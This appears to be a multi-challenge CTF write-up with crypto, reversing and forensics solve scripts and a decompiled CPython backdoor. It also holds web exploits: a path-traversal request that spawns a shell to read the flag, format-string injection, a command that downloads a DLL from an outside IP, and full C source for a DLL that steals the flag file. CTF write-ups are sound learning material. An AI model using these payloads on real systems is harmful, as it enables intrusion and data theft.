        TOTAL_MAIN = int(sys.argv[2])  # should be 25136
    if len(sys.argv) >= 4:
        JOBS = int(sys.argv[3])

    # Load cache for 0..TOTAL_MAIN-1
    values, types = load_cache(CACHE_PATH, TOTAL_MAIN)

    tasks = []
    for i in range(TOTAL_MAIN):
        if values[i] is None:
            tasks.append((i, os.path.join(BIN_DIR, f"large-flag_{i}")))

    try:
        mp.set_start_method("fork", force=True)
    except Exception:
        pass

    done = 0
    if tasks:
        with mp.Pool(processes=JOBS, maxtasksperchild=10) as pool:
            for i, val, tname, err in pool.imap_unordered(worker, tasks, chunksize=8):
                done += 1
                values[i] = val
                types[i] = tname
                if done % 800 == 0 or done == len(tasks):
                    print(f"[progress] computed {done}/{len(tasks)} missing entries", file=sys.stderr)

    # mismatches among 0..TOTAL_MAIN-1
    mismatch = []
    for i in range(TOTAL_MAIN):
        if values[i] is None:
            mismatch.append((i, os.path.join(BIN_DIR, f"large-flag_{i}")))

    with open(MISMATCH_TXT, "w", encoding="utf-8") as f:
        for idx, path in mismatch:
            f.write(f"{idx}\t{path}\n")

    # Save cache
    save_cache(CACHE_PATH, values, types)

    # Write bytes: for 0..TOTAL_MAIN-1, 8 bytes each big-endian
    # If mismatch, still write 8 zero bytes to keep alignment.
    # Then append ONE extra byte 0x82 at the end (special edge case).
    with open(OUT_BIN, "wb") as fb:
        for i in range(TOTAL_MAIN):
            v = values[i]
            if v is None:
                fb.write(b"\x00" * 8)
            else:
                fb.write(int(v & MASK64).to_bytes(8, "big", signed=False))
        fb.write(bytes([0x82]))

    print(f"[+] wrote cache: {CACHE_PATH}", file=sys.stderr)
    print(f"[+] wrote bytes: {OUT_BIN} (8 bytes * {TOTAL_MAIN} + final 0x82)", file=sys.stderr)
    print(f"[+] mismatch(all types) = {len(mismatch)}/{TOTAL_MAIN}", file=sys.stderr)
    print(f"[+] wrote mismatch list: {MISMATCH_TXT}", file=sys.stderr)

    # If any mismatch, print their second-to-last blocks at the end
    if mismatch:
        MAX_PRINT = 200
        print("\n===== ALL-MISMATCH second-to-last blocks =====")
        print(f"(showing {min(len(mismatch), MAX_PRINT)} / {len(mismatch)})\n")
        for idx, path in mismatch[:MAX_PRINT]:
            try:
                _, blk_addr, insns = extract_second_to_last_block_insns(path)
                print(f"--- idx={idx} file={path} block={hex(blk_addr) if blk_addr else 'None'} ---")
                print(format_block(insns))
                print()
            except Exception as e:
                print(f"--- idx={idx} file={path} ---")
                print(f"(failed to re-extract block: {e})\n")


if __name__ == "__main__":
    main()

python3 solve.py ./bin 25136 16

https://chatgpt.com/share/69463a24-1dbc-8008-8fb0-9e9e75d6a28a

EOF{w31l_d0N3_b0t}

Structured - Small

Solved by 山羊

逆向完十個執行檔,他們都是一部分的 flag checker,大多邏輯是字串比對,因此直接從檔案題去字串,有些會做字串反轉、ROR 等,也做相應處理。

import glob

def read_and_reverse(file_path):
    with open(file_path, 'rb') as f:
        f.seek(0x1079)
        data = f.read(8)
    return data[::-1]

def main():
    result = b''
    for i in range(0, 11):
        reversed_data = read_and_reverse(f"small-flag_{i}")
        if i == 4:
            reversed_data = reversed_data[3:] + reversed_data[:3]
        if i == 8:
            reversed_data = reversed_data[2:] + reversed_data[:2]
        if i == 10:
            reversed_data = reversed_data[::-1]
        result += reversed_data
    
    result_str = result.decode('utf-8')
    print(result_str)

if __name__ == "__main__":
    main()

Flag

EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}

65537

After giving the result of the script back to GPT a few iteration, got flag. Two major progress is noticing a lots of 0s and GPT striping small factors, second is ask GPT to avoid randomness getting bruteforce result.

Final Solve Script

#!/usr/bin/env sage -python
# -*- coding: utf-8 -*-

import ast
from sage.all import (
    ZZ, QQ, Matrix, vector,
    binomial, gcd, xgcd, lcm,
    power_mod, inverse_mod
)

try:
    from Crypto.Util.number import long_to_bytes
except Exception:
    def long_to_bytes(x):
        x = int(x)
        if x == 0:
            return b"\x00"
        return x.to_bytes((x.bit_length() + 7)//8, "big")

# -----------------------------
# Helpers
# -----------------------------
def vlog(msg):
    print(f"[+] {msg}")

def parse_cs(path="output.txt"):
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        data = f.read()
    idx = data.find("cs =")
    if idx == -1:
        raise ValueError("Cannot find 'cs =' in output.txt")
    rhs = data[idx:].split("=", 1)[1].strip()
    cs = ast.literal_eval(rhs)
    if not isinstance(cs, list) or len(cs) == 0:
        raise ValueError("Parsed cs is empty / not list")
    return [ZZ(x) for x in cs]

def mod_pow_signed(a, e, n):
    a = ZZ(a) % n
    e = ZZ(e)
    if e >= 0:
        return power_mod(a, e, n)
    inv = inverse_mod(a, n)  # requires gcd(a,n)=1
    return power_mod(inv, -e, n)

def combine_cipher_powers_subset(cs, idxs, exps, n):
    acc = ZZ(1)
    for j, e in enumerate(exps):
        e = ZZ(e)
        if e == 0:
            continue
        acc = (acc * mod_pow_signed(cs[idxs[j]], e, n)) % n
    return acc

def pick_small_relations(B_lll, k=16):
    rels = []
    for r in B_lll.rows():
        r = vector(ZZ, r)
        l1 = sum(abs(int(x)) for x in r)
        if l1 == 0:
            continue
        if all(int(x) >= 0 for x in r) or all(int(x) <= 0 for x in r):
            continue
        rels.append((l1, r))
    rels.sort(key=lambda x: x[0])
    return [r for _, r in rels[:k]]

def normalize_rel(rel):
    g = ZZ(0)
    rr = [ZZ(x) for x in rel]
    for x in rr:
        g = gcd(g, abs(x))
    if g > 1:
        rr = [x // g for x in rr]
    return vector(ZZ, rr)

# -----------------------------
# Fast relation checks (no inverses)
# -----------------------------
def relation_delta_mod(cs, rel, modn):
    A = ZZ(1) % modn
    B = ZZ(1) % modn
    for c, a in zip(cs, rel):
        a = int(a)
        if a > 0:
            A = (A * power_mod(c % modn, ZZ(a), modn)) % modn
        elif a < 0:
            B = (B * power_mod(c % modn, ZZ(-a), modn)) % modn
    return (A - B) % modn

def relation_multiple_of_n_seed_big(cs, rel):
    A = ZZ(1)
    B = ZZ(1)
    nz = sp = sn = 0
    for c, a in zip(cs, rel):
        a = int(a)
        if a > 0:
            nz += 1
            sp += a
            A *= (ZZ(c) ** a)
        elif a < 0:
            nz += 1
            sn += (-a)
            B *= (ZZ(c) ** (-a))
    D = A - B
    return abs(D), nz, sp, sn, abs(D).nbits()

# -----------------------------
# 1) Recover modulus n (LLL + gcd refinement)
# -----------------------------
def recover_modulus_n(cs):
    assert len(cs) == 87, "Expect 87 ciphertexts"
    coeff = [ZZ(((-1) ** (37 - k)) * binomial(37, k)) for k in range(38)]

    rows = []
    for s in range(50):
        v = [ZZ(0)] * 87
        for k in range(38):
            v[s + k] = coeff[k]
        rows.append(v)

    B = Matrix(ZZ, rows)
    vlog(f"Built universal relation basis B: {B.nrows()}x{B.ncols()}")
    vlog("Running LLL to find short relations ...")
    B_lll = B.LLL()
    vlog("LLL done.")

    rels = pick_small_relations(B_lll, k=16)
    rels = [normalize_rel(r) for r in rels]
    rels = sorted(rels, key=lambda r: (sum(abs(int(x)) for x in r), max(abs(int(x)) for x in r)))
    vlog(f"Picked {len(rels)} candidate short relations (normalized).")

    seed = rels[0]
    vlog(f"[seed] l1={sum(abs(int(x)) for x in seed)}, max|a|={max(abs(int(x)) for x in seed)}")
    Dabs, nz, sp, sn, bits = relation_multiple_of_n_seed_big(cs, seed)
    vlog(f"[seed] nonzero={nz}, sum_pos={sp}, sum_neg={sn}, |D| bits={bits}")
    g = ZZ(Dabs)
    vlog(f"[seed] gcd bits={g.nbits()}")

    for idx, rel in enumerate(rels[1:], 1):
        dmod = relation_delta_mod(cs, rel, g)
        if dmod == 0:
            continue
        g2 = gcd(g, dmod)
        if g2 != g:
            g = g2
            vlog(f"[refine] relation #{idx}: gcd -> bits={g.nbits()}")
        if 1250 <= g.nbits() <= 1400 and g > max(cs):
            vlog("[refine] gcd plausible as n, stopping early")
            break

    vlog(f"Recovered candidate n (bits={g.nbits()})")
    return g, rels

# -----------------------------
# 1.5) Strip huge spurious small factors (fast, guarded)
# -----------------------------
def aggressive_strip_small_factors(cs, n, rels, max_prime_bits=80, max_iters=120):
    n = ZZ(n)
    maxc = max(cs)

    test_rels = rels[: min(5, len(rels))]
    def rel_ok(modn):
        for r in test_rels:
            if relation_delta_mod(cs, r, modn) != 0:
                return False
        return True

    vlog("Aggressive stripping of small factors ...")

    if n % 2 == 0:
        v2 = n.valuation(2)
        n //= ZZ(2) ** v2
        vlog(f"    force-stripped 2^{int(v2)} -> nbits={n.nbits()}")

    if n.nbits() > 20000:
        vlog("    nbits is huge; running extra gcd-shrink passes ...")
        for t in range(min(40, len(rels))):
            d = relation_delta_mod(cs, rels[t], n)
            if d != 0:
                n2 = gcd(n, d)
                if n2 != n and n2 > maxc:
                    n = n2
                    if n % 2 == 0:
                        v2 = n.valuation(2)
                        n //= ZZ(2) ** v2
                    vlog(f"      shrink#{t}: nbits={n.nbits()}")
            if n.nbits() <= 8000:
                break

    for it in range(max_iters):
        inv_cnt = sum(1 for c in cs if gcd(c, n) == 1)
        vlog(f"  iter={it}: invertible={inv_cnt}/87, nbits={n.nbits()}")
        if inv_cnt >= 87:
            break

        bad_gcds = []
        for c in cs:
            g = gcd(c, n)
            if g != 1 and g != n:
                bad_gcds.append(ZZ(g))

        small_primes = set()
        for g in bad_gcds[:60]:
            if g.nbits() <= max_prime_bits * 3:
                try:
                    fac = g.factor()
                    for p, e in fac:
                        p = ZZ(p)
                        if 1 < p.nbits() <= max_prime_bits:
                            small_primes.add(p)
                except Exception:
                    pass

        if not small_primes:
            break

        changed = False
        for p in sorted(small_primes):
            if p == 2:
                continue
            vp = n.valuation(p)
            if vp == 0:
                continue

            cand = n // (p ** vp)
            if cand > maxc and rel_ok(cand):
                n = cand
                changed = True
                vlog(f"    stripped p={int(p)}^{int(vp)} -> nbits={n.nbits()}")
            else:
                lo, hi = 0, int(vp)
                best = 0
                while lo <= hi:
                    mid = (lo + hi) // 2
                    cc = n // (p ** mid)
                    if mid == 0 or (cc > maxc and rel_ok(cc)):
                        best = mid
                        lo = mid + 1
                    else:
                        hi = mid - 1
                if best > 0:
                    n //= (p ** best)
                    changed = True
                    vlog(f"    stripped p={int(p)}^{best} (binary) -> nbits={n.nbits()}")

        if not changed:
            break

    inv_cnt = sum(1 for c in cs if gcd(c, n) == 1)
    vlog(f"After stripping: invertible={inv_cnt}/87")
    return n

# -----------------------------
# 2) Deterministic 37-subset + ONE-SHOT Vandermonde inverse => all weights
# -----------------------------
def choose_subset_indices(mode="first"):
    if mode == "first":
        return list(range(37))
    if mode == "evens":
        return [2*i for i in range(37)]
    if mode == "odds":
        return [2*i+1 for i in range(37)]
    if mode == "zigzag":
        idxs = []
        l, r = 0, 86
        while len(idxs) < 37:
            idxs.append(l); l += 1
            if len(idxs) < 37:
                idxs.append(r); r -= 1
        return idxs
    raise ValueError("unknown mode")

def all_weights_via_vandermonde(points_sub):
    m = 37
    A = Matrix(ZZ, m, m, lambda t, j: ZZ(points_sub[j])**t)
    Ainv = A.change_ring(QQ).inverse()
    WZ = []
    K = []
    for r in range(m):
        wq = Ainv.column(r)
        den = ZZ(1)
        for z in wq:
            den = lcm(den, ZZ(z.denominator()))
        wz = vector(ZZ, [ZZ(z * den) for z in wq])
        WZ.append(wz)
        K.append(den)
    return WZ, K

# -----------------------------
# 3) DLOG helpers
# -----------------------------
def dlog_range_0_65536(base, target, n):
    MAX = 65537
    v = ZZ(1)
    for t in range(MAX):
        if v == target:
            return t
        v = (v * base) % n
    return None

def mitm_pair_solve_nontrivial(A0, K0, A1, K1, n):
    """
    Return (f0,f1) in [0..65536]^2 but NOT (0,0) and also reject f0==0 (anchor).
    Deterministic: finds the first nontrivial collision found during scan.
    """
    MAX = 65537
    baseL = power_mod(A0, ZZ(K1), n)
    baseR = power_mod(A1, ZZ(K0), n)

    left = {}
    v = ZZ(1)
    for b in range(MAX):
        # Store b for v; but keep the SMALLEST b > 0 if possible for v==1
        if v not in left:
            left[v] = b
        else:
            # prefer nonzero b over 0 if the stored one is 0
            if left[v] == 0 and b != 0:
                left[v] = b
        v = (v * baseL) % n

    v = ZZ(1)
    for a in range(MAX):
        b = left.get(v)
        if b is not None:
            # reject trivial and reject anchor a==0
            if not (a == 0 and b == 0) and a != 0:
                return a, b
        v = (v * baseR) % n
    return None

# -----------------------------
# 4) Polynomial eval & recover m from (c_i, E_i)
# -----------------------------
def poly_eval(coeffs_f, x):
    acc = ZZ(0)
    for a in reversed(coeffs_f):
        acc = acc * x + a
    return acc

def recover_m_from_ci_Ei(cs, Es, n):
    """
    Deterministic folding:
      Find first i with E_i != 0, start from there.
      Skip E_i==0 points but verify c_i == 1 for those.
    """
    assert len(cs) == len(Es)
    # ensure all invertible
    for i,c in enumerate(cs):
        if gcd(c, n) != 1:
            raise RuntimeError(f"ciphertext at i={i} not invertible; gcd={gcd(c,n)}")

    start = None
    for i in range(len(Es)):
        if ZZ(Es[i]) != 0:
            start = i
            break
        # if exponent 0, ciphertext must be 1 mod n
        if (cs[i] % n) != 1:
            raise RuntimeError(f"E[{i}]=0 but c[{i}] != 1 mod n (got {cs[i] % n}); coefficients are wrong.")
    if start is None:
        # all zero exponents => meaningless
        return ZZ(1), ZZ(0)

    cur_elem = cs[start] % n
    cur_e = ZZ(Es[start])

    for i in range(start+1, len(cs)):
        ei = ZZ(Es[i])
        if ei == 0:
            if (cs[i] % n) != 1:
                raise RuntimeError(f"E[{i}]=0 but c[{i}] != 1 mod n; coefficients are wrong.")
            continue
        g2, u, v = xgcd(cur_e, ei)
        cur_elem = (mod_pow_signed(cur_elem, int(u), n) * mod_pow_signed(cs[i], int(v), n)) % n
        cur_e = g2
        if i % 10 == 0:
            vlog(f"[m-fold] i={i}, gcd(E[..]) = {cur_e}")
        if cur_e == 1:
            return cur_elem, ZZ(1)

    return cur_elem, cur_e

def grep_flag(raw_bytes):
    pos = raw_bytes.find(b"EOF{")
    if pos == -1:
        return None
    end = raw_bytes.find(b"}", pos)
    if end == -1:
        return raw_bytes[pos:]
    return raw_bytes[pos:end+1]

# -----------------------------
# Main
# -----------------------------
def main():
    cs = parse_cs("output.txt")
    vlog(f"Loaded {len(cs)} ciphertexts. max bits={max(cs).nbits()}")

    n0, rels = recover_modulus_n(cs)
    n = aggressive_strip_small_factors(cs, n0, rels, max_prime_bits=80, max_iters=120)
    vlog(f"Refined n bits={n.nbits()}")

    # sanity delta_mod(rel0)
    coeff = [ZZ(((-1) ** (37 - k)) * binomial(37, k)) for k in range(38)]
    rel0 = [ZZ(0)] * 87
    for k in range(38):
        rel0[k] = coeff[k]
    d0 = relation_delta_mod(cs, rel0, n)
    vlog(f"Sanity delta_mod(rel0) = {d0} (expect 0)")

    points_all = [ZZ(65537 + i) for i in range(87)]
    modes = ["first", "evens", "odds", "zigzag"]

    for mode in modes:
        vlog(f"=== Deterministic subset mode={mode} ===")
        idxs = choose_subset_indices(mode)
        points_sub = [points_all[i] for i in idxs]

        WZ, K = all_weights_via_vandermonde(points_sub)

        # compute A_r
        A = []
        for r in range(37):
            Ar = combine_cipher_powers_subset(cs, idxs, WZ[r], n)
            A.append(Ar)

        nondeg = sum(1 for Ar in A if Ar != 1)
        vlog(f"Non-degenerate A_r (A!=1): {nondeg}/37")
        if nondeg < 10:
            continue

        # Try multiple anchors deterministically to avoid f_anchor=0
        solved = False
        for r0 in range(37):
            for r1 in range(37):
                if r1 == r0:
                    continue

                sol = mitm_pair_solve_nontrivial(A[r0], K[r0], A[r1], K[r1], n)
                if sol is None:
                    continue
                f_r0, f_r1 = sol

                # reject cases that likely degenerate
                if f_r0 == 0:
                    continue

                vlog(f"Seed pair: r0={r0}, r1={r1}, f_r0={f_r0}, f_r1={f_r1}")

                # solve all coefficients using anchor r0
                f = [None] * 37
                f[r0] = ZZ(f_r0)
                f[r1] = ZZ(f_r1)

                anchor_pow = ZZ(K[r0]) * ZZ(f_r0)  # MUST be nonzero
                ok = True
                for rr in range(37):
                    if f[rr] is not None:
                        continue
                    base = power_mod(A[r0], ZZ(K[rr]), n)
                    target = power_mod(A[rr], anchor_pow, n)
                    t = dlog_range_0_65536(base, target, n)
                    if t is None:
                        ok = False
                        break
                    f[rr] = ZZ(t)

                if not ok:
                    continue

                # quick sanity: avoid "all zero polynomial"
                if all(ZZ(v) == 0 for v in f):
                    continue

                vlog("Solved coefficients f_r: 37/37")

                # compute E_i = f(65537+i)
                Es = [poly_eval(f, points_all[i]) for i in range(87)]

                # recover m from (c_i, E_i)
                m_elem, gE = recover_m_from_ci_Ei(cs, Es, n)
                vlog(f"gcd(E_i) = {gE}")
                if gE != 1:
                    vlog(f"Got only m^g (g={gE}). Printing candidate anyway.")
                    print(f"\n=== m_candidate_pow_g (int) ===\n{int(m_elem)}\n")
                    continue

                m = ZZ(m_elem)
                vlog("Recovered m.")
                print(f"\n=== m (int) ===\n{int(m)}\n")

                raw = long_to_bytes(int(m))
                print("=== RAW BYTES (repr) ===")
                print(repr(raw))

                hit = grep_flag(raw)
                print("\n=== GREP EOF{ ===")
                print(hit.decode("utf-8", errors="replace") if hit else "NOT FOUND")

                print("\n=== UTF-8 (replace) ===")
                print(raw.decode("utf-8", errors="replace"))

                solved = True
                break
            if solved:
                break

        if solved:
            return

    raise RuntimeError("All deterministic subset modes failed (after banning trivial seed).")

main()

https://chatgpt.com/share/694673cb-7d34-8008-a41b-a06e8962b35d

Flag

EOF{https://www.youtube.com/watch?v=hyvPxeLx_Yg}

Impure

Note: I solve this on day one with the wrong binary

Using python --version to see that it is Python 3.15.0a2+, so download same version Python 3.15.0a2 and build a clean binary. After diffing all the symbols in both binary, noticed a wierd symbol trigger_bytes.4 only in the polluted symbol. Tracing the code that references, it checks if the content is trigger bytes when creating an list, if yes, it replace with the FLAG (which I thought it was fake on the first day). After the binary update at the second day, the same input got the real flag.

uint64_t list___init___impl_part_0(void* arg1, int32_t* arg2)
{
    void* fsbase;
    int64_t rax = *(fsbase + 0x28);
    int64_t rax_2 = PySequence_Size(arg2);
    uint64_t result;

    if (rax_2 == 0x18)
    {
        int32_t* rax_4 = PySequence_GetItem(arg2, 0);

        if (rax_4 != 0)
        {
            int64_t rax_6 = PyLong_AsLong(rax_4);
            int32_t rdx_3 = *rax_4;

            if (rdx_3 s>= 0)
            {
                *rax_4 = rdx_3 - 1;
            }

            if (rdx_3 == 1)
            {
                _Py_Dealloc(rax_4);
            }

            if (rax_6 == -1)
            {
                if (PyErr_Occurred() != 0)
                {
                    PyErr_Clear();
                    result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
                }
                else
                {
                    result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
                }
            }
            else if (rax_6 != 0x98 || arg2 == 0)
            {
                result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
            }
            else
            {
                int64_t* rax_7 = PySequence_Fast(arg2, "list() argument must be iterable");

                if (rax_7 == 0)
                {
                    if (PyErr_ExceptionMatches(PyExc_TypeError) != 0)
                    {
                        PyErr_Clear();
                        result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
                    }
                    else
                    {
                        result = 0xffffffff;
                    }
                }
                else
                {
                    int64_t rax_8 = rax_7[2];
                    void* r15_1;

                    if ((*(rax_7[1] + 0xab) & 2) == 0)
                    {
                        r15_1 = &rax_7[4];

                        if (rax_8 == 0x18)
                        {
                            goto label_149b7a;
                        }

label_149bc6:
                        int32_t rax_11 = *rax_7;

                        if (rax_11 s>= 0)
                        {
                            *rax_7 = rax_11 - 1;
                        }

                        if (rax_11 == 1)
                        {
                            _Py_Dealloc(rax_7);
                        }

                        result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
                    }
                    else
                    {
                        if (rax_8 != 0x18)
                        {
                            goto label_149bc6;
                        }

                        r15_1 = rax_7[3];

label_149b7a:
                        void* const r14_1 = &trigger_bytes.4;

                        while (true)
                        {
                            int64_t rax_9 = PyLong_AsLong(*r15_1);

                            if (rax_9 == -1)
                            {
                                if (PyErr_Occurred() != 0)
                                {
                                    PyErr_Clear();
                                }

                                goto label_149bc6;
                            }

                            if (zx.q(*r14_1) != rax_9)
                            {
                                goto label_149bc6;
                            }

                            r14_1 += 1;
                            r15_1 += 8;

                            if (r14_1 == &data_3d1ff8)
                            {
                                int32_t rax_15 = *rax_7;

                                if (rax_15 s>= 0)
                                {
                                    *rax_7 = rax_15 - 1;
                                }

                                if (rax_15 == 1)
                                {
                                    _Py_Dealloc(rax_7);
                                }

                                int128_t var_68;
                                __builtin_strncpy(dest: &var_68, src: "FLAG{B4ckD0oR3d_CpYT70n}", n: 0x19);
                                int32_t* rax_17 = PyUnicode_FromString(&var_68);

                                if (rax_17 == 0)
                                {
                                    break;
                                }

                                int64_t rax_18 = *(arg1 + 0x20);
                                void** rdi_11 = *(arg1 + 0x18);

                                if (rax_18 s<= 0 || rax_18 s> 3)
                                {
                                    void** rax_19 = PyMem_Realloc(rdi_11, 0x20);
                                    rdi_11 = rax_19;

                                    if (rax_19 == 0)
                                    {
                                        PyErr_NoMemory();
                                        int32_t rax_20 = *rax_17;

                                        if (rax_20 s>= 0)
                                        {
                                            *rax_17 = rax_20 - 1;
                                        }

                                        if (rax_20 == 1)
                                        {
                                            _Py_Dealloc(rax_17);
                                        }

                                        break;
                                    }

                                    *(arg1 + 0x18) = rax_19;
                                    *(arg1 + 0x10) = 1;
                                    *(arg1 + 0x20) = 4;
                                }
                                else
                                {
                                    *(arg1 + 0x10) = 1;
                                }

                                *rdi_11 = rax_17;
                                result = 0;
                                goto label_149aaa;
                            }
                        }

                        result = 0xffffffff;
                    }
                }
            }
        }
        else
        {
label_149ae9:
            if (PyErr_ExceptionMatches(PyExc_TypeError) == 0)
            {
                result = 0xffffffff;
            }
            else
            {
                PyErr_Clear();
                result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
            }
        }
    }
    else
    {
        if (rax_2 s< 0)
        {
            goto label_149ae9;
        }

        result = zx.q(_list_extend(arg1, arg2) s>> 0x1f);
    }

label_149aaa:
    *(fsbase + 0x28);

    if (rax == *(fsbase + 0x28))
    {
        return result;
    }

    __stack_chk_fail();
}
$ ./bin/python3.15
Python 3.15.0a2+ (heads/main-dirty:bef63d2fb81, Dec 21 2025, 01:29:29) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> list(
    [152, 146, 159, 153, 165, 156, 234, 189, 181, 154, 238, 177, \
     140, 237, 186, 129, 157, 174, 135, 138, 233, 238, 176, 163]
)
['EOF{_B4CkD0oR3d_CpYT70N}']

Bun.PHP

Solved by ianiiaann

首先我們要想辦法讓 /cgi-bin/:filename 的 Handler 能在 Path traversal 後還是會被用到,用 %2f 取代 / 就好,接下來要想辦法讓 scriptPath 跑 PHP CGI script 以外的東西,用 /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php 就能 spawn 出來 sh,最後拿 Flag 出來之前我們先輸出 \r\n\r\n 讓 Bun 在處裡 Response 的時候能把 Flag 內容當作 Body 丟回來

POST /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php HTTP/1.1
Host: localhost:1337
Content-Length: 47

echo -e "\r\n\r\n" ; /readflag give me the flag

HTTP/1.1 200 OK
content-type: text/plain;charset=utf-8
Date: Sat, 20 Dec 2025 05:39:11 GMT
Content-Length: 38

Flag

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

CookieMonster Viewer

Leak path

by ianiiaann

按鈕按下去會丟 POST Request 到 /api/preview ,其中內容是 {url: "http://localhost/api/templates/lake", username: "ian"},把 url 改成 Webhook 能發現 Webhook 的內容被當成 Template 處理了,經過測試後面的東西是 Python Format String,進行 Format String Injection 能 Leak 出當前檔案位置 {user.__init__.__globals__}

"{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000018F8140B9B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:\\\\supersecureyouwillneverguessed\\\\app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://chals2.eof.ais3.org:20033/api/preview' [POST]>, 'send_from_directory': <function send_from_directory at 0x0000018F83217240>, 'send_file': <function send_file at 0x0000018F832171A0>, 'render_template_string': <function render_template_string at 0x0000018F83399DA0>, 'subprocess': <module 'subprocess' from 'C:\\\\Python\\\\Lib\\\\subprocess.py'>, 'os': <module 'os' (frozen)>, 'app': <Flask 'app'>, 'get_os': <function get_os at 0x0000018F8340DE40>, 'User': <class '__main__.User'>, 'index': <function index at 0x0000018F8340E200>, 'preview': <function preview at 0x0000018F8340E2A0>, 'get_template': <function get_template at 0x0000018F8340E340>}"

RCE

solved by me (unicorn)

題序看 WORST BEST FIT 找到 WorstFit: Unveiling Hidden Transformers in Windows ANSI!

然後 format 在 pyjail cheatsheet 挖到 payload

  1. WorstFit 寫讀 flag dll url: "http://140.112.30.182:8000/pwn.dll" -o C:/Windows/Temp/pwn.dll""
  2. 接著用 ctypes load dll 把 flag 寫到 temp, url:

{user.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[C:/Windows/Temp/pwn.dll]}

  1. url: file:///C:/Temp/leak.txt 拿 flag

dll 為被載入時會自動找到 flag 並把內容寫到 C:\\Windows\\Temp\\leak.txt

// pwn.c  (Windows DLL, minimal)
// On load: find C:\flag-*.txt -> copy to C:\Windows\Temp\leak.txt
// Also append logs to C:\Windows\Temp\pwn.log

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

static const wchar_t* LOGP  = L"C:\\Windows\\Temp\\pwn.log";
static const wchar_t* LEAKP = L"C:\\Windows\\Temp\\leak.txt";

static void loga(const char* s) {
    HANDLE h = CreateFileW(
        LOGP, FILE_APPEND_DATA, FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    );
    if (h == INVALID_HANDLE_VALUE) return;
    DWORD n;
    WriteFile(h, s, (DWORD)lstrlenA(s), &n, 0);
    CloseHandle(h);
}

static void loge(const char* where) {
    char buf[256];
    wsprintfA(buf, "[!] %s GLE=%lu\r\n", where, (unsigned long)GetLastError());
    loga(buf);
}

static int write_all(const wchar_t* path, const char* data, DWORD len) {
    HANDLE h = CreateFileW(
        path, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    );
    if (h == INVALID_HANDLE_VALUE) return 0;
    DWORD n;
    BOOL ok = WriteFile(h, data, len, &n, 0);
    CloseHandle(h);
    return ok && n == len;
}

BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID rsv) {
    (void)h; (void)rsv;

    if (reason != DLL_PROCESS_ATTACH) return TRUE;

    loga("[*] pwn.dll loaded\r\n");

    WIN32_FIND_DATAW fd;
    HANDLE fh = FindFirstFileW(L"C:\\flag-*.txt", &fd);
    if (fh == INVALID_HANDLE_VALUE) {
        loge("FindFirstFileW");
        return TRUE;
    }
    FindClose(fh);

    wchar_t flagpath[MAX_PATH];
    lstrcpyW(flagpath, L"C:\\");
    lstrcatW(flagpath, fd.cFileName);

    loga("[+] found flag file\r\n");

    HANDLE f = CreateFileW(
        flagpath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
    );
    if (f == INVALID_HANDLE_VALUE) {
        loge("CreateFileW(flag)");
        return TRUE;
    }

    char buf[4096];
    DWORD rd = 0;
    BOOL ok = ReadFile(f, buf, sizeof(buf) - 1, &rd, 0);
    CloseHandle(f);
    if (!ok) {
        loge("ReadFile(flag)");
        return TRUE;
    }
    buf[rd] = 0;

    if (!write_all(LEAKP, buf, rd)) {
        loge("Write leak.txt");
        return TRUE;
    }

    loga("[+] wrote C:\\Windows\\Temp\\leak.txt\r\n");
    return TRUE;
}

Flag

EOF{worst_flt_4rg_1nj3ct10n_w/_format_string!}

MRTGuessor

Solved by Chang

看時刻表只有忠孝新生新埔和永春比較可能

image

然後只有忠孝新生有那樣的屋頂

image

bored

Solved by 山羊

查看 firmware 檔案,無法確定其格式,而 xxd 顯示最後面有 “Input: “, “Output: “ 字串。 直接用 IDA 打開 firmware,點選 Create ROM section,IDA 自動找到 function 並反組譯。 簡單逆向過後,發現它會讀使用者輸入,做 sub_44, sub_FA 的一些運算後輸出。 題目另一個檔案 signal.vcd 表示 UART 訊號,寫 python 解回資料。

edges = [
    (833328, 0),
    (1041660, 1),
    (1145826, 0),
    # ...
]

BAUD_RATE = 9600
BIT_TIME_NS = int(1e9 / BAUD_RATE)  # 每 bit 時間,ns 單位

def reconstruct_waveform(edges, bit_time_ns):
    """將 edges 擴展成每 bit waveform"""
    waveform = []
    for i in range(len(edges)-1):
        start, val = edges[i]
        end, _ = edges[i+1]
        # 這段持續時間對應的 bit 數量
        num_bits = max(1, round((end - start) / bit_time_ns))
        for _ in range(num_bits):
            waveform.append(val)
    # 加最後一個 edge 的值
    waveform.append(edges[-1][1])
    return waveform

def decode_uart_waveform(waveform):
    """採樣 waveform,還原 UART bytes"""
    decoded_bytes = []
    i = 0
    while i < len(waveform):
        if waveform[i] == 0:  # start bit
            byte_val = 0
            # 8 data bits, 採樣點 = start bit + 1..8
            for b in range(8):
                idx = i + 1 + b
                if idx < len(waveform):
                    byte_val |= (waveform[idx] << b)
            decoded_bytes.append(byte_val)
            i += 9  # skip start + 8 bits (假設 1 stop bit)
        else:
            i += 1
    return decoded_bytes

waveform = reconstruct_waveform(edges, BIT_TIME_NS)
decoded = decode_uart_waveform(waveform)
ascii_str = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decoded])

print("Length:", len(decoded))
print("Decoded bytes:", decoded)
print("ASCII output:", ascii_str)

